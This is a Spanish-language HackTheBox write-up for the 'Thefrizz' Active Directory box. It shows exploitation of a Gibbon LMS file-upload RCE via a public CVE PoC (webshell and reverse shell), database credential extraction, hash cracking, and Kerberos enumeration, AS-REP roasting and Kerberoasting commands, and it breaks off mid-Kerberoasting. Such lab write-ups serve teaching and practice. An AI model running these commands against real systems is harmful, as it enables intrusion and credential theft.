← Volver a writeups

Thefrizz

Medium · Active Directory · 2026-06-07


Información de la máquina

CampoDetalle
PlataformaHackTheBox
Sistema operativoWindows
DificultadMedia
CategoríaActive Directory
Fecha—

Reconocimiento

Domain gathering

sudo netexec smb 10.129.232.168 -u "" -p ""

No nos da la info.

Nmap TCP

Escaneo TCP

sudo nmap 10.129.232.168 -p- --open -sS --min-rate 500 -vvv -n -Pn

Antes de seguir con la enumeración vamos a revisar a ver si encontramos algo en la web:

Enumeración web

Ponemos frizzdc.frizz.htb en /etc/hosts

Si nos vamos a staff Login, nos encontramos con esto:

Buscamos si hay algo de Gibbon v25.0.00

Nos encontramos por internet con un poc de un RCE para esta versión:

https://github.com/PaulDHaes/CVE-2023-45878-POC

Comando solo:

Revshell:

Prueba de concepto (POC) de CVE-2023-45878 para Gibbon LMS en XAMPP para Windows. Se carga un webshell llamado shell.php para la inyección de comandos. Para la shell inversa, se carga un script de PowerShell (PS1) llamado shell.ps1, que se sube a la máquina objetivo mediante shell.php

Ya tenemos la shell del webservice.

Si buscamos, encontramos un archivo que se llama condig.php

En esta, nos encontramos con lo siguiente:

Tenemos credenciales para conectarnos, por lo que podemos consultar la base de datos:

C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "SHOW DATABASES;"

Tenemos que saber que la tabla de usuarios se llama gibbonPerson de manera default en gibbon

De no saberlo:

Mirando el propio .sql — tienes gibbon.sql en el directorio, que es el dump de la BD:

type gibbon.sql | Select-String "CREATE TABLE"

Como ya sabemos donde está ubicada la información de los usuarios:

C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "select * from gibbonPerson;"

Este comando no da nada ya que no le estamos especificando la base de datos gibbon, por lo que ese especifica antes del -e:

C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" gibbon -e "SELECT * FROM gibbonPerson;"

Vemos que tenemos mucha info y podemos acotar por cosas importantes, como por ejemplo:

username, passwordStrong, passwordStrongSalt

C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" gibbon -e "SELECT username,passwordStrong,passwordStrongSalt FROM gibbonPerson;"

f.frizzle 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 /aACFhikmNopqrRTVz2489

Tras un rato de intentar crackear la password, vemos que no podemos, vamos a mirar la manera de autenticar que tiene la aplicación:

.En PHP se utiliza para concatenar cadenas. Por lo tanto, es un hash <salt><password>, que es el modo 1420 mencionado anteriormente.

Nos pone Separator unmatched, por lo que necesita un separador.

f.frizzle:Jenni_Luvs_Magic23

No nos deja entrar por evilwinrm, pero como tenemos un usuario ya podemos hacer toda la explotación AD:

Rpc Enumeration

Acceso RPC con credenciales

rpcclient -U "f.frizzle%Jenni_Luvs_Magic23" 10.129.232.168

Nada.

En principio se está quejando del tipo de autenticación.

Smb Enumeration

Enumeración SMB con credenciales

sudo netexec smb 10.129.232.168 -u 'f.frizzle' -p 'Jenni_Luvs_Magic23'

STATUS_NOT_SUPPORTED

Mismo de antes, podemos probar a forzar una autenticación en vez de NTLMv2 de kerberos con el parametro -k:

sudo netexec smb 10.129.232.168 -u 'f.frizzle' -p 'Jenni_Luvs_Magic23' -k

KRB_AP_ERR_SKEW

Por lo que seteamos la hora a la misma:

sudo net time set -S 10.129.232.168

y relanzamos el comando:

Ahora si que nos autentica.

sudo netexec smb 10.129.232.168 -u 'f.frizzle' -p 'Jenni_Luvs_Magic23' -k --shares

Tenemos permisos sobre IPC$, por lo que podemos tirar de ridd-brute para enumerar usuarios:

Ese error con --rid-brute sobre Kerberos es un problema conocido de netexec — el módulo RID brute usa DCERPC y no siempre funciona bien con auth Kerberos pura.

Alternativas:

# Opción 1: impacket lookupsid
impacket-lookupsid frizz.htb/f.frizzle:'Jenni_Luvs_Magic23'@frizzdc.frizz.htb -k -no-pass

# Opción 2: enum4linux-ng con Kerberos
enum4linux-ng -A frizzdc.frizz.htb -u 'f.frizzle' -p 'Jenni_Luvs_Magic23' -k

# Opción 3: rpcclient con Kerberos
sudo net time set -S 10.129.232.168 && rpcclient -k frizzdc.frizz.htb -c "enumdomusers"

La más fiable en este caso suele ser impacket-lookupsid.

sudo net time set -S 10.129.232.168 && impacket-lookupsid frizz.htb/f.frizzle:'Jenni_Luvs_Magic23'@frizzdc.frizz.htb -k -no-pass

Formateamos y lo llevamos a una lista.

Seguimos con la metodologia de ad, de no encontrar nada, volvemos a SMB:

ASREProast

impacket-GetNPUsers frizz.htb/ -no-pass -usersfile users

No encuentra nada.

Kerberoasting

impacket-GetUserSPNs frizz.htb/f.frizzle:Jenni_Luvs_Magic23 -request